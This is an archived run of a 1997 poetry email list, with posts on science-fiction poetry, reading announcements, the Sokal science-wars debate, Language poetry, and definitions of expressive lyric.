Douglas brought up the matter of SF, and asked why no-one has mentioned it. Given that such thought experiments as speculating about the scientific theories of alien intelligences or the rights of intelligent machines might be dismissed as "adolescent fantasy", I'm not surprised that the topic hasn't been broached.

I haven't read much SF since childhood, having grown sick of the cardboard cutouts that pass for people in much of the genre (& I guess this is good fuel for those who would dismiss SF as quintessentially geeky and adolescent). Phillip Mann is one writer who I would reccommend, however: especially "Wulfsyarn", which is a fascinating experiment in narrative with interesting speculations on future religions (the worship of St Francis Dionysus). William Gibson is very good at times, and important culturally as the inventor of the dominant metaphor for the space in which these discussions take place.

In films, I'd consider "La Jetee" a masterpiece (does anyone have any impressions of "Level 5"?), and its semi-remake "12 Monkeys" was surprisingly good. I'd need to see "Alphaville" again before I made anything approaching a cogent comment about it, and I still haven't seen "Solaris", despite raves from everyone I know who has seen it. "Blade Runner" astonishes me more every time I watch it.

About the only SF poems that I have read and enjoyed have been by Edwin Morgan, especially "In Sobieski's Shield", "Memories of Earth" and "Thoughts of a Module" (I'm not 100% sure of the titles). Does anyone else know of any interesting SF poems?

Tom Beard.

↑ Index

301. Christopher Reiner
Reading
Tue 14 Oct 1997

A READING OCTOBER 18TH IN NEW YORK CITY:

Cydney Chadwick
&
Lisa Robertson

3 P.M.

HERE CENTER FOR INDEPENDENT ART
145 6TH AVE. (BETWEEN SPRING AND BROOME) [redacted]

Cydney Chadwick is the author of one full-length collection and five chapbooks. Her work is currently being translated into Portuguese for anthology of innovative American prose, forthcoming out of Sao Paolo, Brazil. She has recently edited _An Avec Sampler, 1997_, and is the publisher of Avec Books.

Lisa Robertson lives and writes in Vancouver. She is the author of _Xeclogue_ (Tsunami Editions), and her work has appeared in several anthologies. She is a founding member of the Kootenay School of Writing in Vancouver.

↑ Index

302. adalaide morris
Re: NEW Davidson, Debord, Fraser, Ginsberg, Levy &&& @ Bridge Street
Tue 14 Oct 1997

Dear Bridge Street Books:

Thanks for your listing of September 15th. Here's an order for which I will be happy to be billed, in the process listed below, and pay by return check. I look forward to getting the books:

Adalaide Morris
431 Brown Street
Iowa City, IA 52245

The Collected Poems of Charles Olson_, ed. George Butterick, U Cal, $38.
> New in pb.

> *_Hambone 13_, ed Nathaniel Mackey, $10.*
>
> *_Forms of Expansion: Recent Long Poems by Women_, Lynne Keller, U. Chicago, $16.95.*
>
> *_Another Language: Selected Poems_, Rosmarie Waldrop, Talisman, $10.50.*
>
> *Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books.*

With best wishes--

Dee

↑ Index

303. Layne Russell
Re: Reading
Tue 14 Oct 1997

Christopher Reiner wrote:
>
> A READING OCTOBER 18TH IN NEW YORK CITY:
>
> Cydney Chadwick
> &
> Lisa Robertson
>
> 3 P.M.
>
> HERE CENTER FOR INDEPENDENT ART
> 145 6TH AVE. (BETWEEN SPRING AND BROOME) [redacted]
>
> Cydney Chadwick is the author of one full-length collection and five
> chapbooks. Her work is currently being translated into Portuguese for

> anthology of innovative American prose, forthcoming out of Sao Paolo,
> Brazil. She has recently edited _An Avec Sampler, 1997_, and is the
> publisher of Avec Books.
>
> Lisa Robertson lives and writes in Vancouver. She is the author of
> _Xeclogue_ (Tsunami Editions), and her work has appeared in several
> anthologies. She is a founding member of the Kootenay School of Writing in
> Vancouver.

This promises to be a good night! I saw Cydney last night at David Bromige and Aaron Shurin's reading in Petaluma, CA. She's excited about reading again in NY.... Both Cydney and Lisa are excellent readers.

Layne in sunny California

p.s. David and Aaron were great! what a night!

http://www.sonic.net/layne
"A Quiet Place" -- Poetry
http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Poetry Calendar

↑ Index

304. Steve Evans
ILS 1.8/Watten on the (Assembly) Line
Tue 14 Oct 1997

Eighth in the Impercipient Lecture Series is Barrett Watten's "The Bride of the Assembly Line: From Material Text to Cultural Poetics" (October 1997; 36pp). Nothing's automatic as Watten settles into a Detroit frame of mind, rethinking language writing as a mode of production and THIS magazine as an assembly line. Utopian proposals, pitched critiques, "thick descriptions of gonzo culturalism," and terrific readings of Clark Coolidge's "Made Thought" and _The Maintains_ all roll off the analogical belt, as do those "geniuses" of American organization, Gertrude Stein, Henry Ford, and Noah Webster.

Subcriptions to the ILS are US$25 for ten issues (no additional charge for overseas subcribers); US$40 for institutions. Single copies go for US$5 when available. A handful of imperfectly bound copies in the present batch will be distributed free upon request. Please make checks out to one of the editors, NOT the magazine.

ILS First Series/1997 (* indicates still available): 1.7 Five Years in the Life of Jack Spicer by Lewis Ellingham & Kevin Killian 1.6 No Saints in Three Acts: On Steven Jonas by Aldon L. Nielsen 1.5 'Imperturbable Things': On Still-Life Poetics by Beth Anderson 1.4 Responses to Bob Perelman's _The Marginalization of

Poetry_ by Silliman, Lauterbach, Spahr, and Evans; with counter-response by Perelman* 1.3 The Ground Is the Only Figure by Rosmarie Waldrop 1.2 Radical Dogberry and Society Sketches: Two Essays by Chris Stroffolino 1.1 The Dynamics of Literary Change by Steve Evans (*in rpt)

Steve Evans & Jennifer Moxley
61 E. Manning Street
Providence RI 02906-4008
ILS at the EPC
<http://writing.upenn.edu/epc/presses/impercipient_lecture.html>

r i a t n m u ? a t s u
o o o s

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305. adalaide morris
misdirected reply
Tue 14 Oct 1997

apologies to the list for listing a shopping list . . .

Dee

↑ Index

306. Douglas Barbour
Re: sf poetry
Tue 14 Oct 1997

I sent a bit of this to Tom Beard, but here's the info on one anthology of sf poetry, so to speak:

There was an interesting anthology a few years ago of sf-ey poetry, which included a lot of the sf poets but also some surrealists,etc, all brought together by an approach of sorts...? Well, it's hard to say, but when it includes poets like -- well, I rean upstairs to find it & -- Michael Hamburger, Peter Redgrove, Tristan Tzara, Hans Arp, Georg Trakl, David Gascoyne, among others, it does stretch sf (but then its title is _POLY New Speculative Writing_ [Ocean View Books {Box 4148 Mountain View CA 94040} for those who might be intrigued]); of course Ray Bradbury etc are in there too.

I think the idea that language is inherently metaphorical still useful (it sure is damned hard to write something that eludes metaphor all together [see]).

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

I hope to start having a subsite containing bios of all who fill out the survey (and want their bios listed, which will be assumed unless I'm told otherwise). I don't have space for photographs but hope eventually to.

So, thanks to all who've visited. The address for Comprepoetica for those who missed my first announcements is:

http://www.geocities.com/SoHo/Cafe/1492

If you visit, remember to look into getting a free site yourself from GeoCities.

--Bob G.

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309. **Pritchett,Pat**
Re: SoKalled SF
Tue 14 Oct 1997

Possibly add Craig Raine's "Martian" series - really more an anthropological conceit - but then, aren't they (SF aliens) all? Also, Andrew Joron has a book of poems called, I think, _Science Fiction_? Not sure on this last.

Patrick Pritchett

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310. **Tom Orange**
SW Ontario Readings
Tue 14 Oct 1997

Upcoming readings in London and Southwestern Ontario:
~~~
~~~

Lectureship in Literature, The Tamblyn Lecture Series, Department of English, Department of French, Centre for Study of Theory & Criticism, and Foundation Western

Oct. 17 Fr "Women Travellers." Nancy Holmes (author of "Valancy and the New World", Kalamalka New Writers Series, 1988; "Down to the Golden Chersonese: Victorian Lady Travellers", Sono Nis, 1991) and Cornelia Hoogland ("The Wire-Thin Bride). 8.00pm, Art Gallery St. Thomas-Elgin, 301 Talbot St, St. Thomas.

Oct. 18 Sa Nancy Holmes and Julie Berry, St. Thomas Poet of "Worn Thresholds." Forest City Gallery, 795 Dundas St., London.

Oct. 23 Th Julia Kristeva, "Proust: Issues of Identity" (third and last lecture: see Oct. 16 for details)

Oct. 24 F Bonnie Burnard (Writer-in-Residence and author of The Old Dance, Women of Influence, Casino and Other Stories) presents a reading, 12 noon, University College 225 (Faculty Lounge) Department of English Literature & Film Series

Oct. 24 F poets from canada, u.s.a., u.k., "Reading," including Taylor Brady, cris cheek, Bill Howe, and Scott Pound.
8:00 pm, Forest City Gallery, 795 Dundas Street
Supported by the Faculty of Arts

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311. LAURA MORIARTY
Burger, Roitman and Gluck
Tue 14 Oct 1997

More non:

Mary Burger, Judith Roitman and Robert Gluck.

http://socrates.berkeley.edu/~moriarty

With more in the works.

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312. Matthew Stadler
Re: Reading
Tue 14 Oct 1997

READING NOVEMBER 18, SEATTLE, WA

The Rendezvous Reading Series will present:

LISA ROBERTSON, poet from Vancouver BC, author of Xeclogues and Debbie

and

ROBERT GLUCK, from San Francisco, author of Jack the Modernist, Reader, etc.

Tuesday November 18, 8:00 pm, $4
at Richard Hugo House, 1634 11the Ave.
(the old New City Theater building), on Capitol Hill,
[redacted]

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313. Joe Amato/Kass Fleisher
sokal etc...
Tue 14 Oct 1997

---

you folks who are interested might wanna check out the (in my view, solid) refutation of sokal, gross & levitt (re derrida in particular) in

"'But It Is Above All Not True': Derrida, Relativity, and the 'Science Wars'"

by Arkady Plotnitsky

in the journal _postmodern culture_, at

http://jefferson.village.Virginia.EDU/pmc/text-only/issue.197/plotnitsky.197

best,

joe

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314. groberts
Re: sf poetry
Tue 14 Oct 1997

See also an old anthology, 1970, called Inside Outer Space: New Poems of the Space Age, edited by Robert Vas Dias. Not much science fiction really, but mostly a collection of poems responding to space travel and technology, and including Antin, Blackburn, Blaser, Bowering, Corman,Enslin, Kelly, Mac Low, Zukofsky among poets of interest to the Poetics list.

Gary R.

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315. Thomas Bell
Re: Defining / Expression /experiential
Tue 14 Oct 1997

At 05:49 PM 10/13/97 +1300, Tom Beard wrote:

> *My trouble with the term "expressive", though, is that it implies a pre-existing thought/emotion/experience that one expresses, imperfectly or otherwise, through the conduit of the poem. It's why I cringe when some people define the lyric as "an expression of personal emotion": I prefer the phrase "an exploration of ...". The poem is a trace of this exploration (construction?), and I certainly prefer it when this trace is a tangle of lines, some fragmented, some half-erased, rather than a thick line of black felt pen.*

Your comments started me thinking of the therapeutic parallels (for better or worse I am such by trade). Words such as expressive (i wrote sexpressive even though i am not a freudian) tend to put people off and are really not adequate to explain what happens. It is more of an experiencing of feeling through the action of expressing or experiential/construction. Both experiential and construction are valid and lively forms of therapy. I have not really seen much on the topic of experiential and/or constructive poetry even though i am aware of it's description by individual poets. If anyone is still with me through my jargon here, I would appreciate information on sources. tom bell

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316. david bromige
reading tour
Tue 14 Oct 1997

I am now once again able to send messages (my thanks to Layne Russell for posting to the List in my behalf, that my "Send" function was down) and would like to take the opportunity to post the sked of my upcoming tour, Last week when I read in San francisco, Hugh Steinberg came up afterwards and intro'd himself : I like meeting people who hitherto were just names on the net.

Hamilton Ontario, eve of sunday oct 19 : read with Lisa Robertson in the Live Lit" series run by Kerry Schooley, who has the details at [redacted]

Buffalo, eve of monday oct 20 : read at :"Talking Leaves" books, 7 pm. Details from John Walsh, [redacted].

Toronto, eve of Wednesday, Oct 22 : read at the Arts Bar with Lisa Robertson. Details from "Pierre L'Abbe"<[redacted]> .

Toronto, eve of Sunday, Oct 26 : read at "The Idler", 255 Davenport (just N of Bloor, @ just W of Yonge), 8 pm, with Gregg Orr Robertson & Mark Fitkin. Further details from Peter McFee, [redacted].

SUNY Albany, eve of Wednesday, Oct 29 : reading, the details of which are with Pierre Joris, [redacted] .

NYC,Thursday oct 30, at Teachers & Writers, 5 Union Sq W, curator Jordan Davis ([redacted]) : read with Alan Jennifer Sondheim, 7 pm.

Philadelphia, Friday oct 31, at the Writers House, U Penn, at 4pm: a reading, followed by a panel discussion with Laura Moriarty (who will have read at this location the previous evening). 3805 Locust Walk. Contact persons include Louis Cabri of this List ([redacted]) and Kerry Sherin ([redacted]) .

NYC, Saturday, Nov 1, at CAFE HERE, 145 Sixth Ave, bet. Spring & Broome ([redacted]), curator Liz Fodaski, at 3 pm, with Brian Kim Stefans.

Sunday Nov 2, I fly home to SF.

I hope to meet some of my fellow-listopolitans during these 2 weeks. Overnight accomodations are still soft for two nites in NYC, and a couple of nites in Toronto. I am a past winner (1993) of the James & Debbie Sherry Award for Perfect House-Guest.

I will of necessity unsubscribe from the List before I leave, probably for 3 weeks (after I return to Calif, I go to UC San Diego for a couple of days). My last full day onList will likely be Thursday.

Excuse the shameful self-promotion? Thanks, David

↑ Index

317. Eliza McGrand

cuisinart computer crash

Tue 14 Oct 1997

Hi folks,

Recently I sent out an invitation for Submissions to THE FREE CUISENART on the topic of "rites of passage." I was luck enough to receive many pieces of work to read. Unfortunately, before I could back up the files, my computer crashed, and I do mean CRASHED! It took everything with it.

I do apologize for the inconvenience. But if you sent any work to THE FREE CUISENART either for "rites of passage" or anything else in the last eight weeks, I would appreciate it if you would send again to [redacted] instead of [redacted]

You cooperation will be most helpful in putting the issue together again. You may yell and throw tomatoes if you wish.

Thanks,

Jordanne Holyoak-Kitchel, editor, THE FREE CUISENART

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318. Safdie Joseph
Re: reading tour
Tue 14 Oct 1997

God -- three weeks without Bromige on the list. The wit, the sometimes-pointed but never overly harsh rejoinders, the sexual by-play, the clear and balanced perceptions . . . gone. A void, an absence. A hole at the heart of things. Someone might even quote Blanchot pretty soon. What to do? Perhaps we could explore creating the linguistic equivalent of a wake . . .

Just kidding, David. As another who actually did have the pleasure of meeting Mr. Bromige at one of his recent readings (this one in Seattle with Robin Blaser, a truly astonishing event) I can second his self-promotion by suggesting everyone within range of the list attend these next scheduled events. They give one hope for poetry.

A new Florida Marlins fan,

Joe Safdie

David Bromige wrote (in part):

> *I will of necessity unsubscribe from the List before I leave, probably for*
> *3 weeks (after I return to Calif, I go to UC San Diego for a couple of days). My last full day onList will likely be Thursday.*
>
> *Excuse the shameful self-promotion? Thanks, David*

↑ Index

319. Harold Rhenisch
Re: SoKalled
Tue 14 Oct 1997

Maybe he means that perceived meanings of words are individual, based upon the accretions of individual experience, and that language is more strongly linked to sensory experience than to syntactical knowledge?

> *How can the meaning of words be independent of language? Does he mean independent of syntax?*
>
> *I'd like to mention Damasio's claim (a well based claim, or so it seems to me if you consider what we know, and what we don't know, about language acquisition, storage, and domain locations in the brain): that meaning of words *with concrete referents* [italics mine] is represented in a way that is linked to the individual's sensory experience *of those referents*, and hence, language independent. [itals mine again]*
>
> *beth simon*

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320. **Harold Rhenisch**

Re: Defining / Expression

Tue 14 Oct 1997

"I cringe when somepeople define the lyric as "an expression of personal emotion": I prefer the phrase "an exploration of ...". The poem is a trace of this exploration (construction?), and I certainly prefer it when this trace is a tangle of lines, some fragmented, some half-erased, rather than a thick line of black felt pen"

I'm right with you here, but "an exploration of personal emotion"? I have always been uneasy about that term, too. I have an image of a guy in a pith helmet hacking at the creepers with a machete will a bunch of pigmies follow behind with his cases of champagne and his tents and his gramophone.

I think there are enough cases where poems work from such a strong sense of unity that there is no practical distinction between "exploration" and "emotion", that it might be fruitful to suggest that something (or things) entirely different is (or are) going on.

Re-wiring of metaphoric sets?
Creation of the world through the agency of personal engagement and its re-creation through an engagement with language?
Creation (or adjustment) of the 'self' across the gap of an emotional break?

Those are pretty lousy definitions. I do suspect, however, that there is a lot going on which "an exploration of personal emotion" misses, because it still puts the act of writing outside of the emotion, the self, the perception, or whatever tools we are using at the time.

Harold Rhenisch

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321. Daniel Zimmerman
Late Capitalism
Tue 14 Oct 1997

Joe Duemer wrote:

So Dan, why did you backchannel me this post? I think it is quite the most intelligent thing any of us have said on the subject, and it certainly serves to advance the conversation. Consider going public, please.

So: with an invitation like that, how can I resist? [Thanks, Joe.] Here's my backchannel:

Joe, It strikes me that the discussion of the "exchange value" of Late Capitalism more bitingly underscores the "non-exchange" [i.e., acquisitive, period] "value" persistent at least since Luca Pacioli's invention of double-entry bookkeeping & the valorization of usury [for Christians]. The West seems never to have understood Lao Tze: "The scholar [read: banker, a la Paolo Friere] gains every day; the Taoist loses every day." Hey: I sure have. How this relates to poetry I find myself loath to speculate, dwelling as I do remote from the world of prizes, grants, garlands "brief as a girl's," SA_S!_Es, honoraria, plaques, collectable pubic hairs, Litt.Ds, &c. Better, it seems to me, not to relate it _at all_ to what I like to call "the teeth machine" -- basically, Dylan's "heart attack machine" _with a smile_. Keep hope alive! Best, Dan Zimmerman

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322. R. Gancie
SoKalled
Tue 14 Oct 1997

Tom. What I mean by science's "aesthetic is incidental", is simply that it is not a primary or even teriary concern of science to create beauty. Others such as poets create the conditons and criteria for beauty. Science, often many light years behind us (note the borrowed exaggeration for effect) apply our aesthetics to the various representational forms that their phenomena take. Like Gregory Corso once said, "Everyone wants to be a poet. Everyone aspires to poetry." Hofstader's piece on Chopin is a good example. Hofstader repeatedly refers to Chopin's hands through ornithological metaphors reminscent of poems published in high school lit mags of the 1890's when Darwinian bird prints filled popular magazines and subscription publications. I practically had a stroke

when you compared Keat's "Negative Capability" (?) to the scientific method. Didn't Keats say "Beauty is Difficult." I know he didn't say "Beauty is Simple" or "Elegant." Society matrons are "elegant" and that indeed is a minor aesthetic in the service of power. Your apparent admiration of Sir Karl indicates to me just how far apart we are on these matters. Hugh. Keller's "Refiguring Life" is a damn fine book. This autodidact finds her tracing of Claude Shannon's Information Theory into metaphors that inform and in some ways determine theories in Genetics impeccable. Of course, Claude Shannon himself was not adverse to taking the easy way out when it came to difficult determinations involving language. When Shannon was to deliver his seminal paper on Information Theory he still did not have a term to describe some of his phenomena. So he approached John von Neumann about his problem. Von Neumann suggested that he use the word 'entropy' because as von Neumann put it "nobody knows what it means." So the term entropy was stuffed with yet anothr set of phenomna and the term in Information Theory has caused sporadic and unnecessary debate ever since. A friend of mine who studied under one of Shannon's proteges and is an electrical engineer who has worked on top secret military projects all of his life, cringes when I tell (no repeat ad nauseam) this story. He once arranged for me to have dinner with his mentor/Shannnon prot(o)ge and the protege didn't like it.I didn't care much for it myself. Joe. Plotnitsky? I think I've read it and used some for piece in Science as Culture.---Carlo Parcelli

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323. Rachel Loden

reading tour & "no more language-bashing" redux

Tue 14 Oct 1997

Joe Safdie wrote:

> *God -- three weeks without Bromige on the list.*

Yes, what a sad prospect, and even sadder what with Bowering off celebrating Canadian Thanksgiving or whatever he's doing. And weeks after Mark Prejsnar scolded Bromridge for "trivializ[ing] and dismiss[ing] issues that are actually about poetix," I continue to think that DB's "no more language-bashing" post, excerpted just below, which so offended Mark P. for whatever mysterious reason:

. . . But Language-writing has left the planet, the way Imagism left the planet (except for _Poetry (Chicago)_ & various "sunday-painting" clubs) by 1929. That Language-writing parrot is a dead parrot. That parrot has been transformed into its future molecules. And so it follows that, dead & gone, Language-writing cannot exist as an object of bashery. They dont want to go on about "the tensile strength of last winter's icicles". If a poem offend thee in the present, pluck it

out. But look to thine own eye, that its mote not be bigger than a beam. In short, people will have to do something else with their Oedipal longings . . .

--contained more poetic thought per square pixel than any number of obtuse ramblings, and lived another nine lives *as language*. It baffles me that anyone who claims to value innovation in poetry, and no firewall between poetry and criticism, can turn around and demand paint-by-number, stay-on-the-so-called-subject "meaning" on a list devoted to poetic discussion.

Rachel Loden

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324. david bromige
scolded & didnt know it
Wed 15 Oct 1997

Until Rachel Loden's post today, "reading tour & 'No more language-bashing'", I wasnt aware I had been scolded by Mark Presjnar. I must have missed his post on that day, although I usually read him & find myself agreeing. But I wont agree to his characterization of my "No more L-B" post as "trivializing". Perhaps the humor in it was misleading. Humor often is. For years, I thought George Bowering was someone else. Then one day I discovered I was right.

I meant to be saying (but less ploddingly) that I saw LangPo as an historical moment, & that I perceive that moment as having passed. And that I really dont see the sense of trying to fit new poets into that historical moment--dont see the sense of trying to e-lon-gate that moment--simply on the basis of _formal_ similarities; because those formal moves that were LangPo _had another meaning then_ .

And I hold to my estimate that the moment of Imagism was over before 1929, except as certain techniques were perpetuated in the poetry of however many successors. In the poetry of founding members HD & EP to be sure, & the later recruit WCW; but it was no longer Imagism, Mark, do you follow me?

So one can certainly discuss LangPo, & one can address whatever present poetries, but to go on adding new recruits to LangPo now looks like making a big ball of rubber bands just to see it grow bigger, or to have something to do with one's rubber bands. And as for bashing LangPo, it's been done. And done and done and done. And LangPo wont go away. It happened.

But thats all I meant. I guess I thought, if I were young, I'd find something new to name. But it is hard for generations to speak to one another. That Rachel "heard" me astonishes, for she is half a generation away. _We_ (not nec incl Rachel) certainly went on & on about the New American Poetry, were still doing so 20 years after it had begun. Perhaps best to consider my remarks the

squeaks & groans of aged curmudgeonhood, & go about one's business as if nothing had happened. Excuse the intrusion. David

↑ Index

325. **mark weiss**
Re: SoKalled
Wed 15 Oct 1997

Isn't it a pity that we have to guess at his meaning.

At 03:21 PM 10/14/97 -0700, you wrote:
>Maybe he means that perceived meanings of words are individual, based upon
>the accretions of individual experience, and that language is more strongly
>linked to sensory experience than to syntactical knowledge?
>
>>How can the meaning of words be independent of language? Does he mean
>>independent of syntax?
>
>>I'd like to mention Damasio's claim (a well based claim, or so it
>>seems to me if you consider what we know, and what we don't know,
>>about language acquisition, storage, and domain locations in
>>the brain): that meaning of words *with concrete referents* [italics
>>mine] is represented in a way that is linked to the individual's
>>sensory experience *of those referents*, and hence, language
>>independent. [itals mine again]
>>
>>beth simon
>>
>>
>
>

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326. **George Bowering**
Re: reading tour
Wed 15 Oct 1997

I would like to second what Bromige said. He IS a good house guest. Well, except for that thing he has about house pets. Ifd you havent got a dog or cat or say, turtle, David is greeat to have stay over. He doesnt bother goldfish.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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327. **George Thompson**
Re: Defining / Expression
Wed 15 Oct 1997

I have used expressive language:

scene 1:

2 o'clock in the morning. No one in sight. I walk through the ratty parking lot looking for my car. I find it, reach for my keys. They're not there. They are locked in the car.

I kick the tire, I slam my fist on the hood. I curse the car, I curse myself, I curse God. I use exuberant obscenities throughout. I am utterly without company.

But what does this have to do with poetry?

scene 2:

My nerdy neighbor with lots of disposable income considers me a poet, and commissions me to write a love poem directed to his beloved. I go get my book of 500 favorite love poems and do a little research. Then I sit down to work, and in a couple of hours I produce a hallmark-lovely little poem. Let's say $500 US [maybe less].

The language used in this poem is not expressive, since I had no feelings to vent whatsover as I wrote them down. I was paid to evoke these feelings in my target [victim], not to express myself. I call this evocative language [and writers and politicians are fond of this sort of language too].

Now Henry Gould is going to deny that my hallmark-lovely little poem is a poem, because something or other is missing in it. Henry, I'll admit that it is a bad little poem [not worth $500 US, really, at least to the members of this list], but it's still a poem in my view.

You find all sorts of things in poems, most of them predictable, some startling, but what is essential?

Self-expression? the expression of anything? evocation? feelings of fellowship with all things great and small? a political or a social conscience? metaphor? meaning? message?

I can think of poems in which each and every one of these things is absent. So what after all is essential?

Well, never mind. But I think all poetry fetishizes language, by definition.

But I'm willing to negotiate.

George Thompson

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328. **henry g**
Re: Defining / Expression
Wed 15 Oct 1997

On Wed, 15 Oct 1997 08:21:01 -0400 George Thompson said:
>
>scene 2:
>
>My nerdy neighbor with lots of disposable income considers me a poet, and
>commissions me to write a love poem directed to his beloved. I go get my
>book of 500 favorite love poems and do a little research. Then I sit down
>to work, and in a couple of hours I produce a hallmark-lovely little poem.
>Let's say $500 US [maybe less].
>
>The language used in this poem is not expressive, since I had no feelings
>to vent whatsover as I wrote them down. I was paid to evoke these feelings
>in my target [victim], not to express myself. I call this evocative
>language [and writers and politicians are fond of this sort of language
>too].
>
>Now Henry Gould is going to deny that my hallmark-lovely little poem is a
>poem, because something or other is missing in it. Henry, I'll admit that
>it is a bad little poem [not worth $500 US, really, at least to the members
>of this list], but it's still a poem in my view.

Well, George, now that you've dragged me kicking & screaming into another posting to the list - you're right. I don't think it is a poem, because you LEFT THE CAR OUT OF IT from scene #1.

This also relates to Rachel & David B's last messages. Language Poetry seems to be still alive, at least in the realm of revisionism & re-interp- retation, in the minds of some of its founders. See Barrett Watten's recent essay, the latest in the Impercipient Lecture Series. It's all about cars, among other things. How Language Poetry was-is no part of any modernist global virtual art-autonomy project, but is implicated, and implicates itself [via the function of ANALOGY in

writing, following the way Gertrude Stein "organized" writing in analogy to Ford Motor mass production] in the world politico-economic system [alienated labor].

Thus meaning(s) can be found in the sound poems of Clark Coolidge in ANALOGY to large cultural phenomena. The way any art responds to/ is involved in what's going on.

I have no problem with this. Rachel, when you go after the call for "meaning" in poetry you kind of stereotype what interests me (I don't know about M. Prejsnar) in this regard. Watten quotes an early poem of his in which he rewrites an old english riddle from the Exeter Book & makes the unspoken key word to the riddle, "automobile". Now this is what interests me about meaning : layered, encrypted meaning which depends upon a dialogue with what's been done before. Poems in necessary dialogue.

But this is where I would also step aside from the langpos as I understand them from Watten's rewrite. How you respond to "the tradition" is both political & artistic. In my mind it's analogous to the battle between futurism & acmeism in early soviet Russia. I would characterize art as essentially critical in a transcendent/uncanny sense, rather than a revolutionary sense. I would gravitate toward modernism as a conservative or "classical" movement rather than a "modern"/technical movement. & I would analogize poetry more in terms of "natural" labor (labor-pangs) than industrial production. "Material conditions" and their political ramifications are only partially explained by Marxism. o.k.? get that solar car in there, George.

Watten talks about how Stein related mass auto production & her "modern" ability to travel to the capital & sit down with Eleanor Roosevelt. It occurred to me that the book I just came out with, CYCLOBIOGRAPHY, has its own roots in PRE-LANGPO 60s experience (my own initial learning from Ted Berrigan & the NY school) & charts a divergence in diametric opposition to langpo. It's about a (metaphoric) journey to the capital - by tricycle. - Henry Gould

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329. Joe Amato/Kass Fleisher

sci-tech/poetry/etc...

Wed 15 Oct 1997

---

there are obvious overlaps twixt this thread on b. watten's impercipient piece (run right out and get yourself a copy!) and the question of science wars, the relation of science, and technology, to the arts, etc...

i found carlo's discussion of the roots of shannon's "entropy" absolutely fascinating... capricious or not, though (and what came 'off the top' of von

neumann's head, regardless his naysaying, may in fact have been the result of his peculiar talents), i'd still say that the parallels drawn twixt info. theory and thermo. are fascinating and worth plumbing (and i STILL like jeremy campbell's _grammatical man_, which is to say that i find much of value in *some* popular science writing)... still, i've always felt that this overlap of terms worked to obscure the energy basis of information processing... that is, energy, though not what most think it is, has at least the value of being assigned a (human and social) cost as such... whereas information, even as a word, often seems to invoke floating signifiers and the like...

but this development in information theory takes place post-wwii... and many of the poets discussed on this list were writing then... so one question becomes something like, 'what are the relations between info. theory, cybernetics, and poetry?'... and the answer then turns on how one conceives of the relations, broadly, between the arts and the sciences (nothing academically restrictive implied or intended), which of course includes poetry...

my own work (PLUG: forthcoming early next year in the journal _nineteenth century studies_, for those interested---on whitman and the concept of "energy") suggests (at least to me!) that this is an incredibly difficult thing to get at, finally... that it does not reduce to clearcut metaphorical translation (the work of metaphor overestimated in this regard---or at least, metaphor can actually obscure more structural considerations), nor is it bound by the mathematical basis of so much science (which of course *can become*---and i say this as a former math major!---a dodge for discussing the good & bad and in-between things that science and technology presumably 'bring to life')... i'm blurring all sortsa issues and distinctions as i write, please allow me this elbow room!...

i'll still hold to the necessity of the scientific and technological as viable social-professional categories, forms of inquiry, and so forth, with all of my critical and professional reservations intact... at the same time, i don't quite believe that science, for example, should be understood entirely on their own terms---with all due respect, i see these enterprises as bound by social/cultural/historically determinate value(s)... hence i think one needs simply to respect the claims made by these ways of knowing with due regard for their limits---and this goes for scientists and technologists too!... it's like poetry---poets make claims that are pertinent to poetry, and should be understood as viable in such terms... when you step outside of poetry, as it were (and these latter three words, for you close readers, are obviously doing a LOT of work here), your claims are susceptible to analysis and pie-throwing by, for example, sociologists... which is not to deny their legitimacy, or to condone pie-throwing... only to suggest the pragmatic basis of claims, and the (not incommensurability, no), but the (let's be technicist for a moment) incompatibilities that surface when the possibilities of competing discourses impinge upon one another...

now i wish i'd have said alla that AND sounded a bit more speculative... b/c i really do mean to be... but i'm in a hurry!...

so hey, hope to see some of you in minneapolis, at the xcultural poetix shindig!...

DRESS WARM!...

best,

joe

↑ Index

330. **Pritchett,Pat**

Re: Dorn/Raworth Reading

Wed 15 Oct 1997

Several of us Boulderites overcame our customary aversion for Denver and environs and made the trip down to DU last night to hear Ed Dorn and Tom Raworth read. The Dupont Room of the august Mary Reed Bldg is tricked out, as Ed put it, in "Gothic fakery." It's also painted a horrible puke green color, but enough about that.

Ed, who's been "battling" pancreatic cancer as many of you know, was looking, I thought, pretty damned good - quite gaunt - he'd evidently lost some weight - but he was clear, in good humor, and read with real panache excerpts from two long poems: "Lost Dog Variorum," and another about "the Cheyenne axis," (title escapes me - I didn't make notes), and several shorter pieces.

A ruddy-faced Tom Raworth followed Ed. Tom read a few poems from his new Roof edition of Selected Poems, _Clean & Well-Lit_, and from a long, unfinished work titled "Meadow," which was something of a tour de force, even for Tom. My only complaint was that he didn't read long enough.

Present in the audience: Cole Swensen, who emceed the evening, Jack Collom, Rachel Levitsky, Peter Michelson (who seemed to laugh throughout most of Ed's reading), Lindsay Hill, Michael Friedman, Anne Waldman, Tom Peters, Bin Ramke, and Mark Irwin, whom I succeeded in ignoring/avoiding all night and it was a very small room, too.

Patrick Pritchett

↑ Index

331. **George Thompson**

Re: ILS 1.8/Watten on the (Assembly) Line

Wed 15 Oct 1997

Hi,

I've just written a check for a subscription to ILS. Just one little question. Is the subscription for the first ten issues, or for the next ten? I want to subscribe in either case. But I'd like to be able to catch up on the earlier issues that I missed.

It is a very attractive series!

Thanks

George Thompson

> *Eighth in the Impercipient Lecture Series is Barrett Watten's "The Bride of the Assembly Line: From Material Text to Cultural Poetics" (October 1997; 36pp). Nothing's automatic as Watten settles into a Detroit frame of mind, rethinking language writing as a mode of production and THIS magazine as an assembly line. Utopian proposals, pitched critiques, "thick descriptions of gonzo culturalism," and terrific readings of Clark Coolidge's "Made Thought" and _The Maintains_ all roll off the analogical belt, as do those "geniuses" of American organization, Gertrude Stein, Henry Ford, and Noah Webster.*
>
> *Subcriptions to the ILS are US$25 for ten issues (no additional charge for overseas subcribers); US$40 for institutions. Single copies go for US$5 when available. A handful of imperfectly bound copies in the present batch will be distributed free upon request. Please make checks out to one of the editors, NOT the magazine.*
>
> *ILS First Series/1997 (* indicates still available):*
> *1.7 Five Years in the Life of Jack Spicer by Lewis Ellingham & Kevin Killian*
